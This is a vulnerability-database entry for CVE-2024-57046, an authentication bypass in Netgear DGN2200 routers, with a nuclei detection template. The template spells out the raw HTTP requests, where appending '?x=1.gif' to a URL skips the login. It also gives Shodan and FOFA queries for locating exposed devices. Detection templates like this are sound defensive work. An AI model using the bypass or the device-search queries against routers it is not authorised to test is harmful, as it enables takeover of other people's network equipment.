HexBrain

Browse / CVEs / CVE-2024-57046

CVE-2024-57046· Netgear / DGN2200· CWE-287

Netgear DGN2200 - Improper Authentication

highseverity
8.8CVSS score
2.1%likelihood of exploitation, next 30 days
82%of all CVEs are less likely
Readycheck to confirm it

A vulnerability in the Netgear DGN2200 router with firmware version v1.0.0.46 and earlier permits unauthorized individuals to bypass the authentication. When adding "?x=1.gif" to the requested url, it will be recognized as passing the authentication.

Impact

Attackers on the local network can bypass authentication by appending '?x=1.gif' to URLs, gaining unauthorized access to administrative functions and router configuration.

Fix

Update Netgear DGN2200 router to firmware version later than v1.0.0.46 that addresses the authentication bypass vulnerability.

How to confirm it

Send: GET /RST_status.htm ; GET /RST_status.htm?x=1.gif
Positive when: contains_all(body_2, "<title>Router Status", "Show Statistics") and status_code_1 == 401 && status_code_2 == 200

Run it with nuclei: nuclei -id CVE-2024-57046 -u <target>

The full check
id: CVE-2024-57046

info:
  name: Netgear DGN2200 - Improper Authentication
  author: ritikchaddha
  severity: high
  description: |
    A vulnerability in the Netgear DGN2200 router with firmware version v1.0.0.46 and earlier permits unauthorized individuals to bypass the authentication. When adding "?x=1.gif" to the requested url, it will be recognized as passing the authentication.
  impact: |
    Attackers on the local network can bypass authentication by appending '?x=1.gif' to URLs, gaining unauthorized access to administrative functions and router configuration.
  remediation: |
    Update Netgear DGN2200 router to firmware version later than v1.0.0.46 that addresses the authentication bypass vulnerability.
  reference:
    - https://github.com/Shuanunio/CVE_Requests/blob/main/Netgear/DGN2200/ACL%20bypass%20Vulnerability%20in%20Netgear%20DGN2200.md
    - https://www.netgear.com/about/security/
    - https://nvd.nist.gov/vuln/detail/CVE-2024-57046
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cve-id: CVE-2024-57046
    cwe-id: CWE-287
    epss-score: 0.02107
    epss-percentile: 0.81912
  metadata:
    verified: true
    max-request: 2
    vendor: Netgear
    product: DGN2200
    shodan-query: http.title:"DGN2200"
    fofa-query: title="NETGEAR DGN2200"
  tags: cve,cve2024,netgear,router,auth-bypass,dgn2200,vuln,vkev

http:
  - raw:
      - |
        GET /RST_status.htm HTTP/1.1
        Host: {{Hostname}}

      - |
        GET /RST_status.htm?x=1.gif HTTP/1.1
        Host: {{Hostname}}

    matchers:
      - type: dsl
        dsl:
          - 'contains_all(body_2, "<title>Router Status", "Show Statistics")'
          - 'status_code_1 == 401 && status_code_2 == 200'
        condition: and

References

Use this check only on systems you are authorised to test. Where the data comes from